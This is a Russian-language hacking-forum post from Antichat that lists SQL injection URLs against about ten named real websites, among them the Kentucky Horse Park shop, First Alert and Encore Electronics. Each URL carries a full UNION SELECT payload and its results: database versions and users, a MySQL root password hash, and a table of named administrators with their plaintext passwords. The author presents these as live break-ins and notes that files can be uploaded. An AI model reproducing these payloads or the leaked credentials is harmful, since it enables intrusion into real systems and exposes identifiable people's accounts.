Форум АНТИЧАТ - Показать сообщение отдельно

Kentucky Horse Park | Lexington, KY Магазин

Цитата:

http://www.kyhorsepark.com/detail.php?select=3067798798765+union+select+1,2,3 ,4,5,concat_ws(0x3a,version(),user(),database()),7 ,8,9,10,11,12,13,14,15,16,17,18--&pageid=87&sectionid=15&cat=06&page=Online%20Gift% 20Shop

Database Version: 5.0.27-community-nt
Database name: test
User name: eleuser05@localhost

Берём рута

Цитата:

http://www.kyhorsepark.com/detail.php?select=3067798798765+union+select+1,2,3 ,4,5,concat_ws(0x3a,user,password),7,8,9,10,11,12, 13,14,15,16,17,18+from+mysql.user+limit+0,1--&pageid=87&sectionid=15&cat=06&page=Online%20Gift% 20Shop

root : *D9CE563515E8C4166F66D84C2EAA499221AA6889

Файло лить можно -)

Тут глобальные Админы

http://www.kyhorsepark.com/detail.php?select=3067798798765+UNION+SELECT+1,2,3 ,4,5,CONCAT(0x3a,(SELECT+CONCAT(Name,0x3a,userid,0 x3a,pass,0x3a,Global)+FROM+test.khp_administrators +LIMIT+3,1),0x3a),7,8,9,10,11,12,13,14,15,16,17,18--&pageid=87&sectionid=15&cat=06&page=Online%20Gift% 20Shop

[1] : Amy Shaw:ashaw : pass123 : Yes
[2] : Chris Gowin:cgowin : pass123 : Yes
[3] : Gina Gibson:ggibson : dogs*blues : Yes
[4] : Lisa Jackson:ljackson : ringo : Yes
[5] : Jodi Dickey:jdickey : horse : Yes
[6] : Cindy Armstrong:carmstrong : neeter : Yes
[7] : Kathy Hopkins:khopkins : tory : Yes
[8] : Laurie Brown:lbrown : guinness : Yes

Это типа куда че надо лезть -)

Цитата:

http://www.kyhorsepark.com/robots.txt

В общем зе енд -)

PageRank = 6

Цитата:

http://www.greenleaf.org/catalog/item.php?itemID=7280976687+union+select+1,concat_w s(0x3a,version(),user(),database()),3,4,5,6,7,8,9, 10,11,12,13,14--

Database Version: 5.0.67-log
Database name: grnleaf_catalog
User name: grnleaf@209.68.1.65

Encore Electronics Inc !

Цитата:

http://www.encore-usa.com/product_item.php?region=us&bid=27898699+union+sele ct+concat_ws(0x3a,version(),user(),database())--&pgid=82_9&pid=2

Database Version: 5.0.67-community-log
Database name: encoreus_website1
User name: encoreus_yroot@localhost

Цитата:

http://www.cunninghamreport.com/news_item.php?id=696876876873+union+select+1,2,con cat_ws(0x3a,version(),user(),database()),4,5,6,7--

Database Version: 4.0.15-standard
User name: tcrdc@localhost
Database name: cunningham

Цитата:

http://www.clublaugh.com/item.php?id=3687655448+union+select+concat_ws(0x3a ,version(),user(),database()),2--&sort=date

Database Version: 4.1.22
User name: clublaugh@localhost
Database name: clublaugh

Цитата:

http://www.firstalert.com/smoke_alarms_item.php?pid=3778976665+union+select+ 1,2,concat_ws(0x3a,version(),user(),database()),4, 5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,2 3,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39, 40,41,42,43,44,45,46,47,48,49,50,51,52,53,54--

Database Version: 4.1.22
User name: fir5tal3rt@localhost
Database name: firstalert

Япона мат! -)

Цитата:

http://www.c-one.or.jp/cgi-bin2/product_catalog/index_details.php?product_id=579865404760+union+se lect+1,2,3,4,5,6,concat_ws(0x3a,version(),user(),d atabase()),8,9,10,11,12--

Database Version: 4.0.27
User name: wakofirm@219.94.155.138
Database name: wakofirm

А тут такая музыка приятная играет прям ощущаешь себя в лесу возле костра...

Цитата:

http://www.erlebe-was.de/main/index.php?webcode=productdetail&product_id=7987509 87077650+union+select+1,2,3,4,5,6,7,8,9,10,11,12,1 3,14,15,16,17,18,19,concat_ws(0x3a,version(),user( ),database()),21,22,23,24--&category_id=25

Version:4.1.13
User:db_user062000_1@localhost
Database:db062000_1

MRLocks Security System! Во как.

Цитата:

http://mr-locks.com/service_item.php?id=17898695076+union+select+1,2,3 ,concat_ws(0x3a,version(),user(),database()),5,6--

Version:4.1.21-Max-log
User:u1060631_mrlocks@172.20.18.69
Database:db1060631_mrlocks